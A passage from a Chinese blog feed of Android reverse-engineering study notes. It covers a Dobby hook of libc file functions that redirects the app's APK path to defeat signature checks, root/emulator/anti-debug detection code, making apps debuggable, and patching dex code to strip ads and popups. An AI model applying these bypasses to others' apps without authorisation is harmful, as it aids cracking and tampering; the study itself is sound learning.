class="line">//然后，函数再次调用 GetObjectClass 和 GetMethodID 函数来获取 context 对象的类型以及 getApplicationInfo 方法的 ID。然后，函数调用 CallObjectMethod 函数来调用 getApplicationInfo 方法，获取当前应用的 ApplicationInfo 对象。  </span><br><span class="line">//它先调用 GetObjectClass 函数获取 ApplicationInfo 对象的类型，然后调用 GetFieldID 函数获取 sourceDir 字段的 ID。接着，函数使用 GetObjectField 函数获取 sourceDir 字段的值，并使用 GetStringUTFChars 函数将其转换为 C 字符串。最后，函数将 C 字符串保存在 origpath 全局变量中，表示当前应用的 APK 文件路径。  </span><br><span class="line">//最后，函数使用 GetFieldID 和 GetObjectField 函数获取 nativeLibraryDir 字段的值，并使用 GetStringUTFChars 函数将其转换为 C 字符串。函数最后调用 LOGI 函数打印库文件路径，但是并没有将其保存在全局变量中。  </span><br><span class="line">  </span><br><span class="line">extern &quot;C&quot; JNIEXPORT void JNICALL  </span><br><span class="line">Java_com_zj_wuaipojie_util_SecurityUtil_hook(JNIEnv *env, jclass clazz, jobject context) &#123;  </span><br><span class="line">    jclass conext_class = env-&gt;GetObjectClass(context);  </span><br><span class="line">    jmethodID methodId_pack = env-&gt;GetMethodID(conext_class, &quot;getPackageName&quot;,  </span><br><span class="line">                                               &quot;()Ljava/lang/String;&quot;);  </span><br><span class="line">    auto packname_js = reinterpret_cast&lt;jstring&gt;(env-&gt;CallObjectMethod(context, methodId_pack));  </span><br><span class="line">    const char *pn = env-&gt;GetStringUTFChars(packname_js, 0);  </span><br><span class="line">    packname = string(pn);  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">    env-&gt;ReleaseStringUTFChars(packname_js, pn);  </span><br><span class="line">    //LOGI(&quot;packname: %s&quot;, packname.data());  </span><br><span class="line">    fakepath= &quot;/data/user/0/&quot;+ packname +&quot;/files/base.apk&quot;;  </span><br><span class="line">  </span><br><span class="line">    jclass conext_class2 = env-&gt;GetObjectClass(context);  </span><br><span class="line">    jmethodID methodId_pack2 = env-&gt;GetMethodID(conext_class2,&quot;getApplicationInfo&quot;,&quot;()Landroid/content/pm/ApplicationInfo;&quot;);  </span><br><span class="line">    jobject application_info = env-&gt;CallObjectMethod(context,methodId_pack2);  </span><br><span class="line">    jclass pm_clazz = env-&gt;GetObjectClass(application_info);  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">    jfieldID package_info_id = env-&gt;GetFieldID(pm_clazz,&quot;sourceDir&quot;,&quot;Ljava/lang/String;&quot;);  </span><br><span class="line">    auto sourceDir_js = reinterpret_cast&lt;jstring&gt;(env-&gt;GetObjectField(application_info,package_info_id));  </span><br><span class="line">    const char *sourceDir = env-&gt;GetStringUTFChars(sourceDir_js, 0);  </span><br><span class="line">    origpath = string(sourceDir);  </span><br><span class="line">    LOGI(&quot;sourceDir: %s&quot;, sourceDir);  </span><br><span class="line">  </span><br><span class="line">    jfieldID package_info_id2 = env-&gt;GetFieldID(pm_clazz,&quot;nativeLibraryDir&quot;,&quot;Ljava/lang/String;&quot;);  </span><br><span class="line">    auto nativeLibraryDir_js = reinterpret_cast&lt;jstring&gt;(env-&gt;GetObjectField(application_info,package_info_id2));  </span><br><span class="line">    const char *nativeLibraryDir = env-&gt;GetStringUTFChars(nativeLibraryDir_js, 0);  </span><br><span class="line">    LOGI(&quot;nativeLibraryDir: %s&quot;, nativeLibraryDir);  </span><br><span class="line">    //LOGI(&quot;%s&quot;, &quot;Start Hook&quot;);  </span><br><span class="line">  </span><br><span class="line">    //启动hook  </span><br><span class="line">    void *handle = dlopen(&quot;libc.so&quot;,RTLD_NOW);  </span><br><span class="line">    auto pagesize = sysconf(_SC_PAGE_SIZE);  </span><br><span class="line">    auto addr = ((uintptr_t)dlsym(handle,&quot;open&quot;) &amp; (-pagesize));  </span><br><span class="line">    auto addr2 = ((uintptr_t)dlsym(handle,&quot;openat&quot;) &amp; (-pagesize));  </span><br><span class="line">    auto addr3 = ((uintptr_t)fopen) &amp; (-pagesize);  </span><br><span class="line">    auto addr4 = ((uintptr_t)syscall) &amp; (-pagesize);  </span><br><span class="line">  </span><br><span class="line">    //解除部分机型open被保护  </span><br><span class="line">    mprotect((void*)addr, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);  </span><br><span class="line">    mprotect((void*)addr2, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);  </span><br><span class="line">    mprotect((void*)addr3, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);  </span><br><span class="line">    mprotect((void*)addr4, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);  </span><br><span class="line">  </span><br><span class="line">    DobbyHook((void *)dlsym(handle,&quot;open&quot;), (void *)fake_open, (void **)&amp;orig_open);  </span><br><span class="line">    DobbyHook((void *)dlsym(handle,&quot;openat&quot;), (void *)fake_openat, (void **)&amp;orig_openat);  </span><br><span class="line">    DobbyHook((void *)fopen, (void *)fake_fopen, (void**)&amp;orig_fopen);  </span><br><span class="line">    DobbyHook((void *)syscall, (void *)fake_syscall, (void **)&amp;orig_syscall);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="其他常见校验"><a href="#其他常见校验" class="headerlink" title="其他常见校验"></a>其他常见校验</h1><h2 id="root检测："><a href="#root检测：" class="headerlink" title="root检测："></a>root检测：</h2><p>反制手段<br>1.算法助手、对话框取消等插件一键hook</p><p>2.分析具体的检测代码</p><p>3.利用IO重定向使文件不可读</p><p>4.修改Andoird源码，去除常见指纹</p><p>常见检测代码：</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">isDeviceRooted</span><span class="params">()</span></span>: <span class="built_in">Boolean</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> checkRootMethod1() || checkRootMethod2() || checkRootMethod3()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">checkRootMethod1</span><span class="params">()</span></span>: <span class="built_in">Boolean</span> &#123;</span><br><span class="line">    <span class="keyword">val</span> buildTags = android.os.Build.TAGS</span><br><span class="line">    <span class="keyword">return</span> buildTags != <span class="literal">null</span> &amp;&amp; buildTags.contains(<span class="string">"test-keys"</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">checkRootMethod2</span><span class="params">()</span></span>: <span class="built_in">Boolean</span> &#123;</span><br><span class="line">    <span class="keyword">val</span> paths = arrayOf(<span class="string">"/system/app/Superuser.apk"</span>, <span class="string">"/sbin/su"</span>, <span class="string">"/system/bin/su"</span>, <span class="string">"/system/xbin/su"</span>, <span class="string">"/data/local/xbin/su"</span>, <span class="string">"/data/local/bin/su"</span>, <span class="string">"/system/sd/xbin/su"</span>,</span><br><span class="line">            <span class="string">"/system/bin/failsafe/su"</span>, <span class="string">"/data/local/su"</span>, <span class="string">"/su/bin/su"</span>)</span><br><span class="line">    <span class="keyword">for</span> (path <span class="keyword">in</span> paths) &#123;</span><br><span class="line">        <span class="keyword">if</span> (File(path).exists()) <span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">fun</span> <span class="title">checkRootMethod3</span><span class="params">()</span></span>: <span class="built_in">Boolean</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> process: Process? = <span class="literal">null</span></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">try</span> &#123;</span><br><span class="line">        process = Runtime.getRuntime().exec(arrayOf(<span class="string">"/system/xbin/which"</span>, <span class="string">"su"</span>))</span><br><span class="line">        <span class="keyword">val</span> bufferedReader = BufferedReader(InputStreamReader(process.inputStream))</span><br><span class="line">        bufferedReader.readLine() != <span class="literal">null</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (t: Throwable) &#123;</span><br><span class="line">        <span class="literal">false</span></span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        process?.destroy()</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>定义了一个 <code>isDeviceRooted()</code> 函数，该函数调用了三个检测 root 的方法：<code>checkRootMethod1()</code>、<code>checkRootMethod2()</code> 和 <code>checkRootMethod3()</code>。</p><p><code>checkRootMethod1()</code> 方法检查设备的 <code>build tags</code> 是否包含 <code>test-keys</code>。这通常是用于测试的设备，因此如果检测到这个标记，则可以认为设备已被 root。</p><p><code>checkRootMethod2()</code> 方法检查设备是否存在一些特定的文件，这些文件通常被用于执行 root 操作。如果检测到这些文件，则可以认为设备已被 root。</p><p><code>checkRootMethod3()</code> 方法使用 <code>Runtime.exec()</code> 方法来执行 <code>which su</code> 命令，然后检查命令的输出是否不为空。如果输出不为空，则可以认为设备已被 root。</p><h2 id="模拟器检测"><a href="#模拟器检测" class="headerlink" title="模拟器检测"></a>模拟器检测</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fun isEmulator(): Boolean &#123; </span><br><span class="line">return Build.FINGERPRINT.startsWith(&quot;generic&quot;) || Build.FINGERPRINT.startsWith(&quot;unknown&quot;) || Build.MODEL.contains(&quot;google_sdk&quot;) Build.MODEL.contains(&quot;Emulator&quot;) || Build.MODEL.contains(&quot;Android SDK built for x86&quot;) || Build.MANUFACTURER.contains(&quot;Genymotion&quot;) || Build.HOST.startsWith(&quot;Build&quot;) || Build.PRODUCT == &quot;google_sdk&quot; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过检测系统的 <code>Build</code> 对象来判断当前设备是否为模拟器。具体方法是检测 <code>Build.FINGERPRINT</code> 属性是否包含字符串 <code>&quot;generic&quot;</code>。</p><p>更多检测代码：<a href="https://ionized-bag-d70.notion.site/04dbaf39091f42519b14decd2a87fde7" target="_blank" rel="noopener">模拟器检测对抗</a></p><h2 id="反调试检测"><a href="#反调试检测" class="headerlink" title="反调试检测"></a>反调试检测</h2><p>安卓系统自带调试检测函数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">fun checkForDebugger() &#123;  </span><br><span class="line">    if (Debug.isDebuggerConnected()) &#123;  </span><br><span class="line">        // 如果调试器已连接，则终止应用程序  </span><br><span class="line">        System.exit(0)  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>debuggable属性</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public boolean getAppCanDebug(Context context)//上下文对象为xxActivity.this</span><br><span class="line">&#123;</span><br><span class="line">    boolean isDebug = context.getApplicationInfo() != null &amp;&amp;</span><br><span class="line">            (context.getApplicationInfo().flags &amp; ApplicationInfo.FLAG_DEBUGGABLE) != 0;</span><br><span class="line">    return isDebug;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>ptrace检测：每个进程同时刻只能被1个调试进程ptrace  ，主动ptrace本进程可以使得其他调试器无法调试</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int ptrace_protect()//ptrace附加自身线程 会导致此进程TracerPid 变为父进程的TracerPid 即zygote</span><br><span class="line">&#123;</span><br><span class="line">    return ptrace(PTRACE_TRACEME,0,0,0);;//返回-1即为已经被调试</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调试进程名检测</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">int SearchObjProcess()</span><br><span class="line">&#123;</span><br><span class="line">    FILE* pfile=NULL;</span><br><span class="line">    char buf[0x1000]=&#123;0&#125;;</span><br><span class="line"> </span><br><span class="line">    pfile=popen(&quot;ps&quot;,&quot;r&quot;);</span><br><span class="line">    if(NULL==pfile)</span><br><span class="line">    &#123;</span><br><span class="line">        //LOGA(&quot;SearchObjProcess popen打开命令失败!\n&quot;);</span><br><span class="line">        return -1;</span><br><span class="line">    &#125;</span><br><span class="line">    // 获取结果</span><br><span class="line">    //LOGA(&quot;popen方案:\n&quot;);</span><br><span class="line">    while(fgets(buf,sizeof(buf),pfile))</span><br><span class="line">    &#123;</span><br><span class="line"> </span><br><span class="line">        char* strA=NULL;</span><br><span class="line">        char* strB=NULL;</span><br><span class="line">        char* strC=NULL;</span><br><span class="line">        char* strD=NULL;</span><br><span class="line">        strA=strstr(buf,&quot;android_server&quot;);//通过查找匹配子串判断</span><br><span class="line">        strB=strstr(buf,&quot;gdbserver&quot;);</span><br><span class="line">        strC=strstr(buf,&quot;gdb&quot;);</span><br><span class="line">        strD=strstr(buf,&quot;fuwu&quot;);</span><br><span class="line">        if(strA || strB ||strC || strD)</span><br><span class="line">        &#123;</span><br><span class="line">            return 1;</span><br><span class="line">            // 执行到这里，判定为调试状态</span><br><span class="line"> </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    pclose(pfile);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>资料：<a href="https://bbs.pediy.com/thread-268155.htm" target="_blank" rel="noopener">[原创]对安卓反调试和校验检测的一些实践与结论</a></p><h2 id="frida检测"><a href="#frida检测" class="headerlink" title="frida检测"></a>frida检测</h2><p><a href="https://github.com/xxr0ss/AntiFrida" target="_blank" rel="noopener">一些Frida检测手段</a></p><h1 id="smali语法小课堂之赋值"><a href="#smali语法小课堂之赋值" class="headerlink" title="smali语法小课堂之赋值"></a>smali语法小课堂之赋值</h1><h2 id="Int型赋值"><a href="#Int型赋值" class="headerlink" title="Int型赋值"></a>Int型赋值</h2><p>在Smali汇编语言中，”const/4”和”const/16”是用于将常量加载到寄存器中的指令。</p><ol><li><p>“const/4”指令：这个指令将一个常量值加载到4位宽度的寄存器中。它适用于范围在0-15之间的常量值。例如，”const/4 v0, 5”将常量值5加载到寄存器v0中。</p></li><li><p>“const/16”指令：这个指令将一个常量值加载到16位宽度的寄存器中。它适用于范围在-32768到32767之间的常量值。例如，”const/16 v1, -100”将常量值-100加载到寄存器v1中。</p></li></ol><p>区别在于加载的常量值的范围和寄存器的宽度。由于”const/4”使用较小的寄存器宽度，它可以用于加载较小的常量值，而”const/16”则可以用于更大范围的常量值。选择适当的指令取决于您要加载的常量值的大小范围。</p><h2 id="Long型赋值"><a href="#Long型赋值" class="headerlink" title="Long型赋值"></a>Long型赋值</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">const-wide v0, 0x1854460ef29L</span><br></pre></td></tr></table></figure><p>在Smali汇编语言中，”const-wide”指令用于将一个64位的常量值加载到寄存器中。其中，”const-wide v0, 0x1854460ef29L”表示将十六进制值0x1854460ef29L加载到寄存器v0中。</p><p>具体解析如下：</p><ul><li>“const-wide”指令用于加载64位的常量值。</li><li>“v0”是目标寄存器，表示将常量值加载到寄存器v0中。</li><li>“0x1854460ef29L”是一个64位的十六进制常量值，在这种情况下表示为长整型。注意，常量值以大写字母”L”结尾，以指示它是长整型。</li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;&lt;strong&gt;注：本次学习来源于：52pojie的正己的《安卓逆向这档事》，部分知识来源于查资料或者chatgpt等ai&lt;/strong&gt;&lt;br&gt;&lt;a href=&quot;https://www.52pojie.cn/thread-1695141-1-1.html&quot; target
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-01" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-01/"/>
    
    
      <category term="安卓安全" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>重学安卓逆向：动态调试&amp;Log插桩</title>
    <link href="https://www.giantbranch.cn/2024/02/08/%E9%87%8D%E5%AD%A6%E5%AE%89%E5%8D%93%E9%80%86%E5%90%91%EF%BC%9A%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95&amp;Log%E6%8F%92%E6%A1%A9/"/>
    <id>https://www.giantbranch.cn/2024/02/08/重学安卓逆向：动态调试&amp;Log插桩/</id>
    <published>2024-02-07T16:00:00.000Z</published>
    <updated>2024-12-01T01:48:12.010Z</updated>
    
    <content type="html"><![CDATA[<p><strong>注：本次学习来源于：52pojie的正己的《安卓逆向这档事》，部分知识来源于查资料或者chatgpt等ai</strong><br><a href="https://www.52pojie.cn/thread-1695141-1-1.html" target="_blank" rel="noopener">https://www.52pojie.cn/thread-1695141-1-1.html</a><br><a href="https://github.com/ZJ595/AndroidReverse" target="_blank" rel="noopener">https://github.com/ZJ595/AndroidReverse</a><br><a href="https://aliyundrive.com/s/TJoKMK6du6x" target="_blank" rel="noopener">https://aliyundrive.com/s/TJoKMK6du6x</a></p><h1 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h1><p>java环境，bin目录添加到PATH</p><h1 id="动态调试步骤"><a href="#动态调试步骤" class="headerlink" title="动态调试步骤"></a>动态调试步骤</h1><h2 id="1-修改debug权限"><a href="#1-修改debug权限" class="headerlink" title="1.修改debug权限"></a>1.修改debug权限</h2><p>方法一:在AndroidManifest.xml里添加可调试权限（application标签）</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android:debuggable="true"</span><br></pre></td></tr></table></figure><p>方法二：XappDebug模块hook对应的app</p><p>项目地址</p><p><a href="https://github.com/Palatis/XAppDebug" target="_blank" rel="noopener">XappDebug</a></p><p>方法三：Magisk命令(重启失效)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">1.  adb shell #adb进入命令行模式</span><br><span class="line">    </span><br><span class="line">2.  su #切换至超级用户</span><br><span class="line">    </span><br><span class="line">3.  magisk resetprop ro.debuggable 1</span><br><span class="line">    </span><br><span class="line">4.  stop;start; #一定要通过该方式重启</span><br></pre></td></tr></table></figure><p>方法四:刷入MagiskHide Props Config模块(永久有效，但我这两台手机都不行，哭死，呜呜呜)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">在终端通过props命令进入配置</span><br></pre></td></tr></table></figure><p>一般来说，在4选项中如果有ro.debuggable那就直接修改<br>没有的话就选5<br><img src="http://pic.rmb.bdstatic.com/bjh/aafaf597b418757a41a89c24897606fe.png" alt><br>修改ro.debuggable的值为1</p><h2 id="2-端口转发以及开启adb权限"><a href="#2-端口转发以及开启adb权限" class="headerlink" title="2.端口转发以及开启adb权限"></a>2.端口转发以及开启adb权限</h2><p>版本号点击七次开启开发者模式并开启adb调试权限</p><h2 id="3-jeb下断点"><a href="#3-jeb下断点" class="headerlink" title="3.jeb下断点"></a>3.jeb下断点</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctrl+b下断点</span><br></pre></td></tr></table></figure><h2 id="4-debug模式启动"><a href="#4-debug模式启动" class="headerlink" title="4.debug模式启动"></a>4.debug模式启动</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">adb shell am start -D -n com.zj.wuaipojie/.ui.MainActivity</span><br></pre></td></tr></table></figure><p>adb shell am start -D -n<br>adb shell am start -D -n 包名/类名<br>am start -n 表示启动一个activity<br>am start -D 表示将应用设置为可调试模式</p><h1 id="Log插桩"><a href="#Log插桩" class="headerlink" title="Log插桩"></a>Log插桩</h1><p>Log插桩指的是反编译APK文件时，在对应的smali文件里，添加相应的smali代码，将程序中的关键信息，以log日志的形式进行输出。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">invoke-static &#123;对应寄存器&#125;, Lcom/mtools/LogUtils;-&gt;v(Ljava/lang/Object;)V</span><br></pre></td></tr></table></figure><p>并将日志插桩2.dex放到里面改名为classes2.dex</p><p>算法助手 log捕获打开即可</p><p>实际这个dex用的这个：<a href="https://www.52pojie.cn/thread-411454-1-1.html" target="_blank" rel="noopener">https://www.52pojie.cn/thread-411454-1-1.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;&lt;strong&gt;注：本次学习来源于：52pojie的正己的《安卓逆向这档事》，部分知识来源于查资料或者chatgpt等ai&lt;/strong&gt;&lt;br&gt;&lt;a href=&quot;https://www.52pojie.cn/thread-1695141-1-1.html&quot; target
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-01" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-01/"/>
    
    
      <category term="安卓安全" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>重学安卓逆向：获得广告&amp;弹窗静默卡</title>
    <link href="https://www.giantbranch.cn/2024/01/23/%E9%87%8D%E5%AD%A6%E5%AE%89%E5%8D%93%E9%80%86%E5%90%91%EF%BC%9A%E8%8E%B7%E5%BE%97%E5%B9%BF%E5%91%8A&amp;%E5%BC%B9%E7%AA%97%E9%9D%99%E9%BB%98%E5%8D%A1/"/>
    <id>https://www.giantbranch.cn/2024/01/23/重学安卓逆向：获得广告&amp;弹窗静默卡/</id>
    <published>2024-01-22T16:00:00.000Z</published>
    <updated>2024-12-01T01:48:12.458Z</updated>
    
    <content type="html"><![CDATA[<h1 id="安卓四大组件"><a href="#安卓四大组件" class="headerlink" title="安卓四大组件"></a>安卓四大组件</h1><p>安卓应用程序的基本组成部分由四大组件构成，它们分别是Activity（活动）、Service（服务）、BroadcastReceiver（广播接收器）和ContentProvider（内容提供器）。这些组件共同协作，实现了安卓应用的各种功能。以下是对这四大组件的详细解释：</p><ol><li><p><strong>Activity（活动）:</strong></p><ul><li><strong>定义：</strong> Activity是安卓应用中用户与应用进行交互的界面单元。每个Activity都代表了应用中的一个屏幕界面，用户可以在不同的Activity之间进行切换。</li><li><strong>生命周期：</strong> Activity具有生命周期，包括创建（<code>onCreate</code>）、启动（<code>onStart</code>）、恢复（<code>onResume</code>）、暂停（<code>onPause</code>）、停止（<code>onStop</code>）、销毁（<code>onDestroy</code>）等阶段。这些生命周期方法允许开发者管理Activity的状态和响应用户交互。</li></ul></li><li><p><strong>Service（服务）:</strong></p><ul><li><strong>定义：</strong> Service是在后台执行操作而没有用户界面的组件。Service通常用于执行长时间运行的任务，如下载文件、播放音乐等，而不受Activity的影响。</li><li><strong>生命周期：</strong> Service同样具有生命周期，包括创建（<code>onCreate</code>）、启动（<code>onStartCommand</code>）、停止（<code>onStop</code>）等。Service通常通过startService()或bindService()方法启动，并在完成任务后调用stopService()或unbindService()停止。</li></ul></li><li><p><strong>BroadcastReceiver（广播接收器）:</strong></p><ul><li><strong>定义：</strong> BroadcastReceiver是一种用于接收系统或其他应用发送的广播消息的组件。广播可以是系统事件、应用间通信或应用内部事件的通知。</li><li><strong>注册方式：</strong> BroadcastReceiver可以在清单文件中声明，也可以通过代码动态注册。当广播事件匹配注册的条件时，系统会调用BroadcastReceiver的<code>onReceive()</code>方法。</li><li><strong>用途：</strong> 广播接收器可以用于响应一些系统级别的事件，例如设备启动、网络状态变化、电池低电量等，也可以用于应用之间的通信。</li></ul></li><li><p><strong>ContentProvider（内容提供器）:</strong></p><ul><li><strong>定义：</strong> ContentProvider用于管理应用程序的数据，提供数据的访问接口。它允许应用程序共享数据给其他应用，也可以访问其他应用程序的数据。</li><li><strong>URI：</strong> ContentProvider通过URI（Uniform Resource Identifier）标识数据，客户端通过ContentResolver访问ContentProvider提供的数据。ContentProvider的常见实现是在数据库上提供数据访问接口。</li><li><strong>用途：</strong> ContentProvider常用于存储和共享数据，例如联系人信息、媒体文件、数据库等。</li></ul></li></ol><p>这四大组件共同构建了安卓应用的架构，使得应用能够灵活、高效地处理用户交互、后台任务、数据管理以及与其他应用的通信。理解和熟练使用这些组件是安卓应用开发的基础。</p><h1 id="Activity生命周期"><a href="#Activity生命周期" class="headerlink" title="Activity生命周期"></a>Activity生命周期</h1><table><thead><tr><th>函数名称</th><th>描述</th></tr></thead><tbody><tr><td>onCreate()</td><td>一个Activity启动后第一个被调用的函数，常用来在此方法中进行Activity的一些初始化操作。例如创建View，绑定数据，注册监听，加载参数等。</td></tr><tr><td>onStart()</td><td>当Activity显示在屏幕上时，此方法被调用但此时还无法进行与用户的交互操作。</td></tr><tr><td>onResume()</td><td>这个方法在onStart()之后调用，也就是在Activity准备好与用户进行交互的时候调用，此时的Activity一定位于Activity栈顶，处于运行状态。</td></tr><tr><td>onPause()</td><td>这个方法是在系统准备去启动或者恢复另外一个Activity的时候调用，通常在这个方法中执行一些释放资源的方法，以及保存一些关键数据。</td></tr><tr><td>onStop()</td><td>这个方法是在Activity完全不可见的时候调用的。</td></tr><tr><td>onDestroy()</td><td>这个方法在Activity销毁之前调用，之后Activity的状态为销毁状态。</td></tr><tr><td>onRestart()</td><td>当Activity从停止stop状态恢进入start状态时调用状态。</td></tr><tr><td># 去广告</td><td></td></tr></tbody></table><p>广告类型：</p><ol><li>启动广告</li><li>弹窗&amp;更新广告</li><li>横幅广告</li></ol><p>启动广告流程：<br>启动Activity-&gt;广告Activity-&gt;主页Activity</p><p>修改方法：<br>1.修改加载时间（修改为0）<br>2.Acitivity切换定位，修改Intent的Activity类名（直接跳到主页Activity）</p><p>定位Activity修改加载时间步骤，：</p><ol><li>打开MT管理器的Activity记录</li><li>之后打开目标APP</li><li>即可记录到可疑的广告Activity，回到MT管理器的Activity记录即可复制Activity的类名</li><li>之后通过MT管理器打开apk的dex，搜索Activity的类名</li><li>点进去，可以查看代码逻辑，看到广告的时间</li><li>将广告的时间修改为0x0</li></ol><p>修改Acitivity的跳转</p><ol><li>再上面搜的基础上，在搜索Activity的类名的结果，长按赋值 com/XX/那一串，因为这个再smail中是这样表示的</li><li>将这个作为关键字搜索代码（当然要排除AD Activity）</li><li>看看逻辑，一般将AD Activity的替换为目标即可<br>例子：将<code>Lcom/zj/wuaipojie/ui/AdActivity</code>替换为<code>Lcom/zj/wuaipojie/ui/ChallengeThird</code></li></ol><h1 id="去弹窗"><a href="#去弹窗" class="headerlink" title="去弹窗"></a>去弹窗</h1><p>修改方法：<br>1.修改AndroidManifest.xml中的android:versionCode，去掉更新广告<br>2.Hook弹窗(推荐算法助手开启弹窗定位)<br>3.修改dex弹窗代码（通过算法助手的log找到调用栈，之后MT管理器搜索方法名，将show方法注释）<br>4.抓包修改响应体(也可以路由器拦截)</p><p>算法助手</p><ol><li>通过弹窗定位</li><li>屏蔽关键字弹窗</li></ol><h1 id="去横幅广告"><a href="#去横幅广告" class="headerlink" title="去横幅广告"></a>去横幅广告</h1><p>开发助手（不是开发者助手）</p><p>1.开发者助手抓布局（点击放大镜按钮，选择横幅，复制资源id<code>0xXXXXXXXX</code>）<br>2.MT管理器xml搜索，选择资源id，反编译，文件内搜索资源id<br>3.修改xml代码(宽度和高度改为 0)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android:visibility=&quot;gone&quot;</span><br></pre></td></tr></table></figure><h1 id="替换图片"><a href="#替换图片" class="headerlink" title="替换图片"></a>替换图片</h1><ol><li>开发者助手抓布局（点击放大镜按钮，选择横幅，复制资源id<code>0xXXXXXXXX</code>）</li><li>MT管理器xml搜索，选择资源id，反编译，文件内搜索资源id</li><li>复制图片的src id</li><li>MT管理器打开resource.arsc，普通的Arsc编辑器，ID定位资源，</li></ol>]]></content>
    
    <summary type="html">
    
